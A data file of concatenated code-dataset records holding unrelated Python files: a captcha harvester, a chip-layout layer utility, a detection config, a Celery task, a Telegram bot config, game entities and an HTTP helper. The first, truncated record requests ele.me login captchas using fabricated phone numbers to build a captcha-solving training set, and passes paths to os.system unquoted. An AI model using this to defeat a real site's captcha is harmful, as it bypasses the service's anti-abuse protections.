\"\"\"\n    image_objects = []\n    count = 0\n    for letter in letters:\n        # 四元组，左、上、右、下\n        temp_object = binary_object.crop(\n            (letter[0], 0, letter[1], binary_object.size[1]))\n        image_path = \"%s/%s.%s\" % (dir_path,\n                                   captcha_name + f\"___{count+1}\", extension)\n        temp_object.convert(\"RGB\").save(image_path)\n        image_objects.append(temp_object)\n        count += 1\n\n    return image_objects\n\n\ndef splitCaptcha(captcha_name=\"captcha\"):\n    ''' 请求并分割验证码, 将结果放入captcha_set目录，需要人工筛选放入对应的子目录 '''\n    headers = {\n        \"referer\": \"https://h5.ele.me/login/\"\n    }\n    telephone_numbers = [x for x in range(10)]\n    telephone_heads = [\"1581\", \"1861\", \"1355\", \"1760\"]\n\n    # 构造电话号码\n    telephone_number = random.choice(telephone_heads)\n    for i in range(7):\n        telephone_number += str(random.choice(telephone_numbers))\n\n    # 请求验证码\n    filepath, extension, captcha_hash = getRequsetCaptcha(headers, telephone_number,\n                                                          dir_path=CAPTCHA_SET_PATH, captcha_name=captcha_name)\n\n    # 扫描验证码\n    binary_object, letters, extension = captchaRecognize(\n        filepath, extension, captcha_name=captcha_name)\n\n    # 分割验证码字符\n    cropImage(binary_object, letters, extension,\n              CAPTCHA_SET_PATH, captcha_name=captcha_name)\n    if len(letters) < 4:\n        raise\n\n    return captcha_hash\n\n\ndef createTestSet(captcha_set_path=None, captcha_set=None, captcha_numbers=1):\n    ''' 创建训练数据集，目录为captcha_set_path, captcha_set为验证码可能包含的文字或者字母等的list '''\n    global CAPTCHA_SET_PATH\n    global CAPTCHA_SET\n\n    if captcha_set_path:\n        captcha_set_path = captcha_set_path\n    else:\n        captcha_set_path = CAPTCHA_SET_PATH\n\n    if captcha_set:\n        captcha_set = captcha_set\n    else:\n        captcha_set = CAPTCHA_SET\n\n    print(captcha_set_path)\n    # 创建captcha_set目录及其子目录\n    if os.system(f\"mkdir '{captcha_set_path}'\"):\n        for capt in captcha_set:\n            dir_path = captcha_set_path + '/' + capt\n            os.system(f\"mkdir '{dir_path}'\")\n\n    # 请求验证码并分割，将结果放入captcha_set目录，人为放入其子目录\n    # 请求100次\n    for i in range(captcha_numbers):\n        # 请求1次\n        splitCaptcha(f\"captcha__{str(i+1)}\")\n","sub_path":"crawlerUtils/captcha/captchaTestSetCreate.py","file_name":"captchaTestSetCreate.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"14574768","text":"from phidl import LayerSet\nimport numpy as np\n\n#%%\ndef vt_layers():\n    vt_lyrs = LayerSet()\n    \n    color_mat = gds_colors()\n    \n    #gds layer name, layer number, data type, description, color from color list, dither\n    layer_data = [['m1',40,0,'wiring for stf and r1',32,'I3'],\n                  ['m1e',40,1,'wiring for stf and r1 endpoint',32,'I2'],\n                  ['m1f',40,2,'wiring for stf and r1 fill',32,'I1'],\n                  ['m1l',40,3,'wiring for stf and r1 label',32,'I1'],\n                  ['m1p',40,4,'wiring for stf and r1 pad',32,'I4'],\n                  ['stf',10,0,'superconducting thin film for spds and inductors',3,'I5'],\n                  ['stfe',10,1,'superconducting thin film endpoint',3,'I1'],\n                  ['stff',10,2,'superconducting thin film fill',3,'I1'],\n                  ['stfp',10,3,'superconducting thin film pad',3,'I3'],\n                  ['r1',30,0,'spd and loop resistor',18,'I5'],\n                  ['r1f',30,2,'spd and loop resistor fill',18,'I1'],\n                  ['r1p',30,3,'spd and loop resistor pad',18,'I3'],\n                  ['v1',50,0,'via from m1 to m2',11,'I5'],\n                  ['v1e',50,1,'v1 endpoint',11,'I1'],                  \n                  ['m2',41,0,'ground plane',32,'I1'],\n                  ['m2e',41,1,'m2 endpoint',32,'I1'],\n                  ['m2l',41,3,'m2 label',32,'I0'],\n                  ['m2i',41,4,'m2 invert',32,'I1'],\n                  ['m2o',41,5,'m2 offset',32,'I2'],#postprocessing will trace around this layer to allow vias\n                  ['m2m',41,6,'m2 moats',32,'I2'],                  \n                  ['v2',51,0,'via from m2 to jj1, jj2, or m1',11,'I6'],\n                  ['v2e',51,1,'v2 endpoint',11,'I1'],\n                  ['jj1',21,0,'jj bottom contact / m3',14,'I4'],\n                  ['jj1e',21,1,'jj bottom contact endpoint',14,'I2'],\n                  ['jj1f',21,2,'jj bottom contact fill',14,'I1'],                  \n                  ['jj2',22,0,'jj top contact',13,'I5'],\n                  ['jj2e',22,1,'jj top contact endpoint',13,'I2'],\n                  ['jj2f',22,2,'jj top contact fill',13,'I1'],\n                  ['v3',52,0,'via to jj top and bottom contacts',11,'I8'],\n                  ['v3e',52,1,'v3 endpoint',11,'I5'],\n                  ['m3',42,0,'jj contact metal',34,'I9'],\n                  ['m3e',42,1,'jj contact metal endpoint',34,'I1'],\n                  ['m3f',42,2,'jj contact metal fill',34,'I1'],\n                  ['m3l',42,3,'jj contact metal label',34,'I1'],\n                  ['m3p',42,4,'jj contact metal pad',34,'I4'],\n                  ['m3cs',43,6,'m3 label',34,'I0'],\n                  ['r2',31,0,'jj shunt resistor',8,'I9'],\n                  ['r2f',31,2,'jj shunt resistor fill',8,'I1'],\n                  ['r2p',31,3,'jj shunt resistor pad',8,'I3'],\n                  ['v4',54,0,'via to r2 / pad opening',16,'I1'],\n                  ['v4e',54,1,'v4 endpoint',16,'I2'],                  \n                  ['pkg',60,0,'SU8 packaging layer',1,'I1'],                  \n                  ['pkfc',60,1,'fiber core dummy layer',21,'I1'],\n                  ['ipm1',19,0,'inductor port m1',11,'I1'],\n                  ['ipj1',19,0,'inductor port jj1',11,'I1'],\n                  ['ipm3',19,0,'inductor port m3',11,'I1'],\n                  ['ipl',19,0,'inductor port labels',11,'I1'],\n                  ['pl',95,0,'pad locations',47,'I1'],\n                  ['ce',96,0,'chip edge',48,'I1'],\n                  ['dp',99,10,'data prep dummy',8,'I1'],\n                  ]\n    \n#                  ['v4',53,0,'via from m4 to m3',11,'I9'],\n#                  ['v4e',53,1,'via from m4 to m3 endpoint',11,'I1'],                  \n#                  ['m4',43,0,'upper metal wiring',34,'I9'],\n#                  ['m4e',43,1,'m4 endpoint',34,'I2'],\n#                  ['m4f',43,2,'m4 fill',34,'I1'],\n#                  ['m4l',43,3,'m4 label',34,'I0'],\n#                  ['m4cs',43,6,'m4 label',34,'I0'],\n#                  ['r3',32,0,'resistor / pad cap',19,'I9'],\n#                  ['r3f',32,1,'resistor / pad cap fill',16,'I1'],\n#                  ['v5',54,0,'via to r3 / pad opening',16,'I1'],\n#                  ['v5e',54,1,'v4 endpoint',11,'I2'],\n                \n    \n    num_layers = len(layer_data)    \n    for ii in range(num_layers):        \n        color_number = layer_data[ii][4]\n        color_hex = '#{0:02x}{1:02x}{2:02x}'.format(clamp(color_mat[:,color_number-1][0]*256), clamp(color_mat[:,color_number-1][1]*256), clamp(color_mat[:,color_number-1][2]*256))\n        vt_lyrs.add_layer(name = layer_data[ii][0], gds_layer = layer_data[ii][1], gds_datatype = layer_data[ii][2],description = layer_data[ii][3], color = color_hex, inverted = False,alpha = 0.6, dither = layer_data[ii][5])\n    \n    return vt_lyrs, layer_data\n\n#%%\ndef vt_layers_post():\n    vt_lyrs = LayerSet()\n    \n    color_mat = gds_colors()\n    \n    #gds layer name, layer number, data type, description, color from color list, dither\n    layer_data = [['m1',40,0,'wiring for stf and r1',32,'I9'],\n                  ['stf',10,0,'superconducting thin film for spds and inductors',3,'I5'],\n                  ['r1',30,0,'spd and loop resistor',18,'I5'],\n                  ['v1',50,0,'via from m1 to m2',11,'I5'],                 \n                  ['m2',41,0,'ground plane',32,'I1'],                 \n                  ['v2',51,0,'via from m2 to jj1, jj2, or m1',11,'I6'],\n                  ['jj1',21,0,'jj bottom contact / m3',14,'I4'],                 \n                  ['jj2',22,0,'jj top contact',13,'I5'],\n                  ['v3',52,0,'via to jj top and bottom contacts',11,'I8'],\n                  ['m3',42,0,'jj contact metal',34,'I9'],\n                  ['r2',31,0,'jj shunt resistor',8,'I9'],\n                  ['v4',54,0,'via to r2 / pad opening',16,'I1'],             \n                  ['pkg',60,0,'SU8 packaging layer',1,'I1'], \n                  ['ce',96,0,'chip edge',48,'I1'],\n                  ]              \n    \n    num_layers = len(layer_data)    \n    for ii in range(num_layers):        \n        color_number = layer_data[ii][4]\n        color_hex = '#{0:02x}{1:02x}{2:02x}'.format(clamp(color_mat[:,color_number-1][0]*256), clamp(color_mat[:,color_number-1][1]*256), clamp(color_mat[:,color_number-1][2]*256))\n        vt_lyrs.add_layer(name = layer_data[ii][0], gds_layer = layer_data[ii][1], gds_datatype = layer_data[ii][2],description = layer_data[ii][3], color = color_hex, inverted = False,alpha = 0.6, dither = layer_data[ii][5])\n    \n    return vt_lyrs, layer_data\n\n#%%\ndef write_lyp(lyrs,layer_data,lyp_file_name):\n\n    num_layers = len(lyrs._layers)\n    color_mat = gds_colors()\n    \n#    gds_layers = np.zeros([num_layers,1])\n#    for ii in range(num_layers):\n#        gds_layers[ii] = layer_data[ii][1]\n#        \n#    index_array,gds_layers_sorted = np.argsort(gds_layers)\n    \n    A = '<?xml version=\"1.0\" encoding=\"utf-8\"?>\\n<layer-properties>'\n    \n    for kk in range(num_layers):\n        \n        ii = kk#index_array[kk]\n        color_number = layer_data[ii][4]\n        color_hex = '#{0:02x}{1:02x}{2:02x}'.format(clamp(color_mat[:,color_number-1][0]*256), clamp(color_mat[:,color_number-1][1]*256), clamp(color_mat[:,color_number-1][2]*256))\n        A = A + '<properties>\\n<frame-color>'+color_hex+'</frame-color>\\n'\n        A = A + '<fill-color>'+color_hex+'</fill-color>\\n'\n        A = A + '<frame-brightness>0</frame-brightness>\\n'\n        A = A + '<fill-brightness>0</fill-brightness>\\n'\n        A = A + '<dither-pattern>'+layer_data[ii][5]+'</dither-pattern>\\n'\n        A = A + '<visible>true</visible>\\n'\n        A = A + '<transparent>false</transparent>\\n'\n        A = A + '<width>1</width>\\n'\n        A = A + '<marked>false</marked>\\n'\n        A = A + '<animation>0</animation>\\n'\n        A = A + '<name>'+str(layer_data[ii][1])+'/'+str(layer_data[ii][2])+': '+str(layer_data[ii][0])+'; '+str(layer_data[ii][3])+'</name>\\n'\n        A = A + '<source>'+str(layer_data[ii][1])+'/'+str(layer_data[ii][2])+'@1'+'</source>\\n'\n        A = A + '</properties>\\n'\n    \n    A = A + '</layer-properties>'    \n    \n    print(A,file=open(lyp_file_name+'.lyp','w'))\n#    with open('vt.lyp','w') as text_file:\n#        text_file.write(A)\n  \n    return\n\n#%%\ndef gds_colors():\n    \n    ## define colors\n    #blues  lightest to darkest\n    blueVec1 = np.array([145,184,219]); blue1 = blueVec1/256;\n    blueVec2 = np.array([96,161,219]); blue2 = blueVec2/256;\n    blueVec3 = np.array([24,90,149]); blue3 = blueVec3/256;\n    blueVec4 = np.array([44,73,100]); blue4 = blueVec4/256;\n    blueVec5 = np.array([4,44,80]); blue5 = blueVec5/256;\n    #reds  lightest to darkest\n    redVec1 = np.array([246,177,156]); red1=redVec1/256;\n    redVec2 = np.array([246,131,98]); red2 = redVec2/256;\n    redVec3 = np.array([230,69,23]); red3 = redVec3/256;\n    redVec4 = np.array([154,82,61]); red4 = redVec4/256;\n    redVec5 = np.array([123,31,4]); red5 = redVec5/256;\n    #greens  lightest to darkest\n    greenVec1 = np.array([142,223,180]); green1 = greenVec1/256;\n    greenVec2 = np.array([89,223,151]); green2 = greenVec2/256;\n    greenVec3 = np.array([16,162,84]); green3 = greenVec3/256;\n    greenVec4 = np.array([43,109,74]); green4 = greenVec4/256;\n    greenVec5 = np.array([3,87,42]); green5 = greenVec5/256;\n    #yellows  lightest to darkest\n    yellowVec1 = np.array([246,204,156]); yellow1 = yellowVec1/256;\n    yellowVec2 = np.array([246,185,98]); yellow2 = yellowVec2/256;\n    yellowVec3 = np.array([230,144,23]); yellow3 = yellowVec3/256;\n    yellowVec4 = np.array([154,115,61]); yellow4 = yellowVec4/256;\n    yellowVec5 = np.array([123,74,4]); yellow5 = yellowVec5/256;\n    \n    #blue grays\n    gBlueVec1 = np.array([197,199,202]); gBlue1 = gBlueVec1/256;\n    gBlueVec2 = np.array([195,198,202]); gBlue2 = gBlueVec2/256;\n    gBlueVec3 = np.array([142,145,149]); gBlue3 = gBlueVec3/256;\n    gBlueVec4 = np.array([108,110,111]); gBlue4 = gBlueVec4/256;\n    gBlueVec5 = np.array([46,73,97]); gBlue5 = gBlueVec5/256;\n    #red grays\n    gRedVec1 = np.array([242,237,236]); gRed1 = gRedVec1/256;\n    gRedVec2 = np.array([242,235,233]); gRed2 = gRedVec2/256;\n    gRedVec3 = np.array([230,231,218]); gRed3 = gRedVec3/256;\n    gRedVec4 = np.array([172,167,166]); gRed4 = gRedVec4/256;\n    gRedVec5 = np.array([149,88,71]); gRed5 = gRedVec5/256;\n    #green grays\n    gGreenVec1 = np.array([203,209,206]); gGreen1 = gGreenVec1/256;\n    gGreenVec2 = np.array([201,209,204]); gGreen2 = gGreenVec2/256;\n    gGreenVec3 = np.array([154,162,158]); gGreen3 = gGreenVec3/256;\n    gGreenVec4 = np.array([117,122,119]); gGreen4 = gGreenVec4/256;\n    gGreenVec5 = np.array([50,105,76]); gGreen5 = gGreenVec5/256;\n    #yellow grays\n    gYellowVec1 = np.array([242,240,236]); gYellow1 = gYellowVec1/256;\n    gYellowVec2 = np.array([242,239,233]); gYellow2 = gYellowVec2/256;\n    gYellowVec3 = np.array([230,225,218]); gYellow3 = gYellowVec3/256;\n    gYellowVec4 = np.array([172,169,166]); gYellow4 = gYellowVec4/256;\n    gYellowVec5 =np.array( [149,117,71]); gYellow5 = gYellowVec5/256;\n    \n    #pure grays (white to black)\n    gVec1 = np.array([256,256,256]); g1 = gVec1/256;\n    gVec2 = np.array([242,242,242]); g2 = gVec2/256;\n    gVec3 = np.array([230,230,230]); g3 = gVec3/256;\n    gVec4 = np.array([204,204,204]); g4 = gVec4/256;\n    gVec5 = np.array([179,179,179]); g5 = gVec5/256;\n    gVec6 = np.array([153,153,153]); g6 = gVec6/256;\n    gVec7 = np.array([128,128,128]); g7 = gVec7/256;\n    gVec8 = np.array([102,102,102]); g8 = gVec8/256;\n    gVec9 = np.array([77,77,77]); g9 = gVec9/256;\n    gVec10 = np.array([51,51,51]); g10 = gVec10/256;\n    gVec11 = np.array([26,26,26]); g11 = gVec11/256;\n    gVec12 = np.array([0,0,0]); g12 = gVec12/256;\n    \n    color_mat = np.column_stack((blue1,blue2,blue3,blue4,blue5,red1,red2,red3,red4,red5,green1,green2,green3,green4,green5,yellow1,yellow2,yellow3,yellow4,yellow5,\n    gBlue1,gBlue2,gBlue3,gBlue4,gBlue5,gRed1,gRed2,gRed3,gRed4,gRed5,gGreen1,gGreen2,gGreen3,gGreen4,gGreen5,gYellow1,gYellow2,gYellow3,gYellow4,gYellow5,\n    g1,g2,g3,g4,g5,g6,g7,g8,g9,g10,g11,g12))\n                    \n    return color_mat\n\n#%%\ndef clamp(x): return int(max(0, min(x, 255)))","sub_path":"gds_backups/spd_res__gds_made_20200201/vt_util.py","file_name":"vt_util.py","file_ext":"py","file_size_in_byte":12143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"480993042","text":"import os\nimport os.path as osp\nimport numpy as np\n# `pip install easydict` if you don't have it\nfrom easydict import EasyDict as edict\n\n__C = edict()\n# Consumers can get config by:\n#   from wsl.config import cfg_wsl\ncfg_wsl = __C\n\n#\n# Training options\n#\n\n__C.TRAIN = edict()\n\n# Scales to use during training (can list multiple scales)\n# Each scale is the pixel size of an image's shortest side\n__C.TRAIN.SCALES = (600, )\n\n# Max pixel size of the longest side of a scaled input image\n__C.TRAIN.MAX_SIZE = 1000\n\n# Images to use per minibatch\n# If image per Batch lagerer than 64, blob will exceed INT_MAX.\n__C.TRAIN.IMS_PER_BATCH = 2\n\n# TODO(YH): BATCH_SIZE is determined by IM_PER_BATCH and iter_size\n# Minibatch size (number of regions of interest [ROIs])\n# __C.TRAIN.BATCH_SIZE = 128\n\n__C.TRAIN.ROIS_PER_IM = 10000\n\n# Use horizontally-flipped images during training?\n__C.TRAIN.USE_FLIPPED = True\n\n__C.TRAIN.USE_DISTORTION = True\n__C.TRAIN.SATURATION = 1.5\n__C.TRAIN.EXPOSURE = 1.5\n\n__C.TRAIN.USE_CROP = False\n__C.TRAIN.CROP = 0.9\n\n__C.TRAIN.ROI_AU = False\n__C.TRAIN.ROI_AU_STEP = 1\n\n__C.TRAIN.CPG_CACHE = False\n__C.TRAIN.CPG_CACHE_PATH = 'data/cpg_cache/'\n\n# Overlap required between a ROI and ground-truth box in order for that ROI to\n# be used as a bounding-box regression training example\n__C.TRAIN.BBOX_THRESH = 0.5\n\n# Iterations between snapshots\n__C.TRAIN.SNAPSHOT_ITERS = 10000\n\n# solver.prototxt specifies the snapshot path prefix, this adds an optional\n# infix to yield the path: <prefix>[_<infix>]_iters_XYZ.caffemodel\n__C.TRAIN.SNAPSHOT_INFIX = ''\n\n# Use a prefetch thread in roi_data_layer.layer\n# So far I haven't found this useful; likely more engineering work is required\n__C.TRAIN.USE_PREFETCH = False\n\n# Train using these proposals\n__C.TRAIN.PROPOSAL_METHOD = 'selective_search'\n\n# Make minibatches from images that have similar aspect ratios (i.e. both\n# tall and thin or both short and wide) in order to avoid wasting computation\n# on zero-padding.\n__C.TRAIN.ASPECT_GROUPING = True\n\n__C.TRAIN.PASS_IM = 0\n\n__C.TRAIN.SHUFFLE = True\n\n__C.TRAIN.GAN_STEP = 0.0\n__C.TRAIN.GAN_imdb_name = ''\n\n\n#\n# Testing options\n#\n\n__C.TEST = edict()\n\n# Scales to use during testing (can list multiple scales)\n# Each scale is the pixel size of an image's shortest side\n__C.TEST.SCALES = (600, )\n\n# Max pixel size of the longest side of a scaled input image\n__C.TEST.MAX_SIZE = 1000\n\n# Overlap threshold used for non-maximum suppression (suppress boxes with\n# IoU >= this threshold)\n__C.TEST.NMS = 0.3\n\n# Experimental: treat the (K+1) units in the cls_score layer as linear\n# predictors (trained, eg, with one-vs-rest SVMs).\n__C.TEST.SVM = False\n\n# Test using these proposals\n__C.TEST.PROPOSAL_METHOD = 'selective_search'\n\n__C.TEST.ROIS_PER_IM = 10000\n__C.TEST.USE_FLIPPED = True\n__C.TEST.BBOX = False\n\n# for grid search NMS max_per_image thresh and so on\n__C.TEST.CACHE = False\n__C.TEST.MAP = 0.0\n\n#\n# MISC\n#\n\n# The mapping from image coordinates to feature map coordinates might cause\n# some boxes that are distinct in image space to become identical in feature\n# coordinates. If DEDUP_BOXES > 0, then DEDUP_BOXES is used as the scale factor\n# for identifying duplicate boxes.\n# 1/16 is correct for {Alex,Caffe}Net, VGG_CNN_M_1024, and VGG16\n__C.DEDUP_BOXES = 1. / 16.\n\n# Pixel mean values (BGR order) as a (1, 1, 3) array\n# We use the same pixel mean for all networks even though it's not exactly what\n# they were trained with\n# fast rcnn\n# __C.PIXEL_MEANS = np.array([[[102.9801, 115.9465, 122.7717]]])\n# VGG 16\n__C.PIXEL_MEANS = np.array([[[103.939, 116.779, 123.68]]])\n# CaffeNet\n# __C.PIXEL_MEANS = np.array([[[104.00, 117.00, 123.00]]])\n\n# For reproducibility\n__C.RNG_SEED = 3\n\n# A small number that's used many times\n__C.EPS = 1e-14\n\n# Root directory of project\n__C.ROOT_DIR = osp.abspath(osp.join(osp.dirname(__file__), '..', '..'))\n\n# Data directory\n__C.DATA_DIR = osp.abspath(osp.join(__C.ROOT_DIR, 'data'))\n\n# Model directory\n__C.MODELS_DIR = osp.abspath(osp.join(__C.ROOT_DIR, 'models', 'pascal_voc'))\n\n# Name (or path to) the matlab executable\n__C.MATLAB = 'matlab'\n\n# Place outputs under an experiments directory\n__C.EXP_DIR = 'default'\n\n# Use GPU implementation of non-maximum suppression\n__C.USE_GPU_NMS = True\n\n# Default GPU device id\n__C.GPU_ID = 0\n\n__C.CSC_DEBUG = False\n\n__C.CONTEXT = False\n__C.CONTEXT_RATIO = 1.8\n\n__C.USE_ROI_SCORE = False\n\n__C.USE_BG = False\n\n__C.SPATIAL_SCALE = 1. / 16.\n\n__C.RESIZE_MODE = 'FIT_SMALLEST'\n\n__C.USE_FEEDBACK = False\n__C.FEEDBACK_DIR = ''\n__C.FEEDBACK_NUM = 0\n\n\ndef get_vis_dir(imdb, net=None):\n    \"\"\"Return the directory where experimental artifacts are placed.\n    If the directory does not exist, it is created.\n\n    A canonical path is built using the name from an imdb and a network\n    (if not None).\n    \"\"\"\n    outdir = osp.abspath(osp.join(__C.ROOT_DIR, 'vis', __C.EXP_DIR, imdb.name))\n    if net is not None:\n        outdir = osp.join(outdir, net.name)\n    if not os.path.exists(outdir):\n        os.makedirs(outdir)\n\n    file_path = 'tmp'\n    if os.path.islink(file_path):\n        os.remove(file_path)\n    elif os.path.isdir(file_path):\n        import shutil\n        shutil.rmtree(file_path)\n    else:\n        # It is a file\n        os.remove(file_path)\n\n    os.symlink(outdir, file_path)\n    return outdir\n\n\ndef get_output_dir(imdb, net=None):\n    \"\"\"Return the directory where experimental artifacts are placed.\n    If the directory does not exist, it is created.\n\n    A canonical path is built using the name from an imdb and a network\n    (if not None).\n    \"\"\"\n    outdir = osp.abspath(\n        osp.join(__C.ROOT_DIR, 'output', __C.EXP_DIR, imdb.name))\n    if net is not None:\n        outdir = osp.join(outdir, net.name)\n    if not os.path.exists(outdir):\n        os.makedirs(outdir)\n    return outdir\n","sub_path":"lib/wsl/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"639186911","text":"from my_celery.main import app\nimport time\n\n@app.task(bind=True)\ndef t2(self,a,b):\n    # print(args)\n    print(\"++++++++++\",a + b)\n    time.sleep(5)\n    print(\"t2 end\")\n    print(self.request.id)\n    return a+b","sub_path":"celery2/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"183940689","text":"from telegram import ReplyKeyboardMarkup\n\n\nTOKEN = \"TOKEN\"\n\nmusic_tracks = ['Bot Queue Music/{}'.format(i) for i in ('Elevator Music A.mp3',\n                                                         'Elevator Music B.mp3',\n                                                         # 'It Hates Me So Much Extended.mp3',\n                                                         # 'Seduce Me.mp3',\n                                                         'TF2 Upgrade Station.mp3')]\nadmins = []\npeople = {}\nsubjects = {}\nqueue = []\npath_to_people = 'config/people.cfg'\npath_to_admins = 'config/admins.cfg'\npath_to_subjects = 'config/subjects.cfg'\npath_to_subjects_folder = 'subjects/'\nwith open(path_to_people, encoding='utf-8') as file:\n    for line in file.readlines():\n        line = line.split()\n        people[int(line[0])] = line[1]\nwith open(path_to_admins, encoding='utf-8') as file:\n    for line in file.readlines():\n        admins.append(int(line))\nwith open(path_to_subjects, encoding='utf-8') as file:\n    for line in file.readlines():\n        line = line.split()\n        namelen = int(line[0])\n        subjects[' '.join(line[1:namelen+1])] = line[namelen+1:]\n\n\nmarkups = {'idle': ReplyKeyboardMarkup([['Собрать отчёт в PDF',\n                                         'Отправить отчёт вышестоящим инстанциям'],\n                                        ['Встать в очередь',\n                                         'Выйти из очереди',\n                                         'Послушать музыку'],\n                                        ['Панель админ. доступа']],\n                                       one_time_keyboard=True,\n                                       resize_keyboard=True),\n           'admin': ReplyKeyboardMarkup([['Получить архив с отчётами',\n                                          'Разослать \"письма счастья\"'],\n                                         ['Следующий']],\n                                        one_time_keyboard=True,\n                                        resize_keyboard=True),\n           'gathering': ReplyKeyboardMarkup([['Конец']],\n                                            resize_keyboard=True,\n                                            one_time_keyboard=False),\n           'subjects': ReplyKeyboardMarkup([[subject] for subject in subjects],\n                                           resize_keyboard=True,\n                                           one_time_keyboard=False),\n           'letter_type_choice': ReplyKeyboardMarkup([['Шаблонные', 'Написать своё']],\n                                                     resize_keyboard=True,\n                                                     one_time_keyboard=False)\n           }\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"344974691","text":"from logging import getLogger\nfrom random import choice, random\nfrom .components import *\nimport tcod\nfrom engine.ecs import Entity\n\nfrom core.ai import Wander, FollowEntity, FollowAndAttack\n\n\nclass Player(Entity):\n    tile = '@'\n\n    def __init__(self, x, y):\n        Entity.__init__(self,\n            Position(x, y),\n            Moveable(),\n            Renderable(x,y, self.tile),\n            Controllable(),\n            Inventory(),\n            BlocksMovement(),\n            Combat(20, 5),\n        )\n\nclass Wall(Entity):\n    tile = '#'\n    color = tcod.white\n\n    def __init__(self, x, y):\n        Entity.__init__(self,\n            Position(x, y),\n            BlocksMovement(),\n            Renderable(x, y, self.tile)\n        )\n\n\nclass Floor(Entity):\n    tile = '.'\n\n    def __init__(self, x, y):\n        Entity.__init__(self,\n            Position(x, y),\n            Renderable(x, y, Floor.tile)\n        )\n\nclass CreditStick(Entity):\n    tile = '$'\n\n    def __init__(self, x, y, value=0):\n        Entity.__init__(self,\n            Position(x, y),\n            Renderable(x, y, self.tile),\n            Pickup(),\n        )\n        self.value = value\n\n    def pickup(self, other_ent, _map):\n        if Inventory in other_ent:\n            inventory = other_ent.components[Inventory]\n            pos = self.components[Position]\n            map_ents = _map.grid[pos.y][pos.x]\n\n            inventory.credits += self.value\n            map_ents.remove(self)\n\n    def __str__(self):\n        return self.__class__.__name__\n\n    CREDIT_RANGE = range(1, 30)\n\n    @classmethod\n    def create(cls, x, y):\n        value = choice(CreditStick.CREDIT_RANGE)\n        return cls(x, y, value)\n\n\nclass ItemPickup:\n\n    def pickup(self, other_ent, _map):\n        if Inventory in other_ent:\n            inventory = other_ent.components[Inventory]\n            pos = self.components[Position]\n            map_ents = _map.grid[pos.y][pos.x]\n\n            inventory.items.append(self)\n            map_ents.remove(self)\n\n    def __str__(self):\n        return self.__class__.__name__\n\n\nclass Rock(Entity, ItemPickup):\n    tile = '*'\n\n    def __init__(self, x, y):\n        Entity.__init__(self,\n            Position(x, y),\n            Renderable(x, y, self.tile),\n            Pickup(),\n        )\n\n    @classmethod\n    def create(cls, x, y):\n        return cls(x, y)\n\nclass PlayerSpawner(Entity):\n\n    def __init__(self, x, y):\n        Entity.__init__(self,\n            Position(x, y),\n            PlayerSpawn()\n        )\n\n\nclass Citizen(Entity):\n    tile = 'O'\n\n    def __init__(self, x, y, ai_class, ai_args=None):\n        ai_function = ai_class(self, *ai_args if ai_args else ())\n        super().__init__(\n            Position(x, y),\n            Moveable(),\n            AIComponent(ai_function=ai_function),\n            Renderable(x, y, self.tile),\n            BlocksMovement(),\n            Combat(10, 2),\n        )\n\n    PROB_FOLLOWER = 0.5\n\n    @classmethod\n    def create(cls, x, y, player=None):\n        #TODO: Should randomized values be strictly in map generation, or\n        #      does it make sense for entities to define how they're generated?\n        if random() < cls.PROB_FOLLOWER:\n            return cls(x, y, Wander)\n        else:\n            return cls(x, y, FollowEntity, (player,))\n\n\nclass KillerRobot(Entity):\n    tile = 'r'\n\n    def __init__(self, x, y, player=None):\n        super().__init__(\n            Position(x, y),\n            Moveable(),\n            AIComponent(ai_function=FollowAndAttack(self, player)),\n            Renderable(x, y, self.tile),\n            BlocksMovement(),\n            Combat(10, 2),\n        )\n\n    @classmethod\n    def create(cls, x, y):\n        return cls(x, y)\n\nclass Terminal(Entity):\n    tile = '?'\n    log = getLogger('Terminal')\n\n    def __init__(self, x, y):\n        super().__init__(\n            Position(x, y),\n            Renderable(x, y, self.tile),\n            BlocksMovement(),\n            Interactable(self.open_terminal),\n        )\n\n    def open_terminal(self, bcast):\n        bcast.publish('open-terminal')\n","sub_path":"core/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"508273425","text":"\"\"\"\nbooruhelper.py - Required for the booru modules to work correctly\nCopyright 2014 Max Gurela\n\nLicensed under the Eiffel Forum License 2 (It's GPL compatible!).\n\"\"\"\nimport json\nimport urllib\nimport urllib2\nimport urlparse\nimport re\n\nfrom urllib import quote\n\nua_firefox = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/17.0' \\\n             ' Firefox/17.0'\n\ndef get(*args, **kwargs):\n    return open(*args, **kwargs).read()\n\ndef open(url, query_params=None, user_agent=None, post_data=None,\n         referer=None, get_method=None, **kwargs):\n\n    if query_params is None:\n        query_params = {}\n\n    if user_agent is None:\n        user_agent = ua_firefox\n\n    query_params.update(kwargs)\n\n    url = prepare_url(url, query_params)\n\n    request = urllib2.Request(url, post_data)\n\n    if get_method is not None:\n        request.get_method = lambda: get_method\n\n    request.add_header('User-Agent', user_agent)\n\n    if referer is not None:\n        request.add_header('Referer', referer)\n\n    return urllib2.build_opener().open(request)\n\n\ndef prepare_url(url, queries):\n    if queries:\n        scheme, netloc, path, query, fragment = urlparse.urlsplit(url)\n\n        query = dict(urlparse.parse_qsl(query))\n        query.update(queries)\n        query = urllib.urlencode(dict((to_utf8(key), to_utf8(value))\n                                  for key, value in query.iteritems()))\n\n        url = urlparse.urlunsplit((scheme, netloc, path, query, fragment))\n\n    return url\n\ndef to_utf8(s):\n    if isinstance(s, unicode):\n        return s.encode('utf8', 'ignore')\n    else:\n        return str(s)","sub_path":"booruhelper.py","file_name":"booruhelper.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
